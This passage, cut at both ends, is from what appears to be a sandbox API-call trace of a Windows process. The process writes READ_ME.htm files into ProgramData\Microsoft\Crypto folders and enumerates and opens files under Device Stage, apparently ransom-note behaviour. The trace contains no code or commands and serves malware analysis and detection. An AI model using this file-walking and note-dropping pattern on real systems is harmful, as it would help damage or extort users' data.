0x2f [0137.464] SetErrorMode (uMode=0x1) returned 0x0 [0137.465] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.465] GetFileType (hFile=0x1d0) returned 0x1 [0137.465] SetErrorMode (uMode=0x0) returned 0x1 [0137.465] GetFileType (hFile=0x1d0) returned 0x1 [0137.466] WriteFile (in: hFile=0x1d0, lpBuffer=0x297da70*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x297da70*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0137.467] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\READ_ME.htm", lpFilePart=0x0) returned 0x2b [0137.467] SetErrorMode (uMode=0x1) returned 0x0 [0137.467] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\crypto\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.468] GetFileType (hFile=0x1d0) returned 0x1 [0137.468] SetErrorMode (uMode=0x0) returned 0x1 [0137.468] GetFileType (hFile=0x1d0) returned 0x1 [0137.468] WriteFile (in: hFile=0x1d0, lpBuffer=0x2981fe0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2981fe0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0137.470] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x25 [0137.470] SetErrorMode (uMode=0x1) returned 0x0 [0137.470] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0137.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0137.471] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0137.471] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.471] SetErrorMode (uMode=0x0) returned 0x1 [0137.472] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x25 [0137.472] SetErrorMode (uMode=0x1) returned 0x0 [0137.472] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0137.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0137.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0137.473] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.473] SetErrorMode (uMode=0x0) returned 0x1 [0137.473] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x2c [0137.474] SetErrorMode (uMode=0x1) returned 0x0 [0137.474] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.487] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.487] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0137.487] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0137.487] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0137.487] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.487] SetErrorMode (uMode=0x0) returned 0x1 [0137.488] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x2c [0137.488] SetErrorMode (uMode=0x1) returned 0x0 [0137.488] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.488] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.489] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0137.489] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0137.489] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0137.489] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.489] SetErrorMode (uMode=0x0) returned 0x1 [0137.489] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x53 [0137.490] SetErrorMode (uMode=0x1) returned 0x0 [0137.490] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.492] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0137.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c5b0d9, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xc7c5b0d9, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xc7c5b0d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0137.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0137.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0137.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0137.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0137.493] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.494] SetErrorMode (uMode=0x0) returned 0x1 [0137.494] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x53 [0137.495] SetErrorMode (uMode=0x1) returned 0x0 [0137.495] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0137.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c5b0d9, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xc7c5b0d9, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xc7c5b0d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0137.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0137.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0137.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0137.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 0 [0137.497] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.498] SetErrorMode (uMode=0x0) returned 0x1 [0137.498] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png", lpFilePart=0x0) returned 0x62 [0137.498] SetErrorMode (uMode=0x1) returned 0x0 [0137.499] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0x80000000, 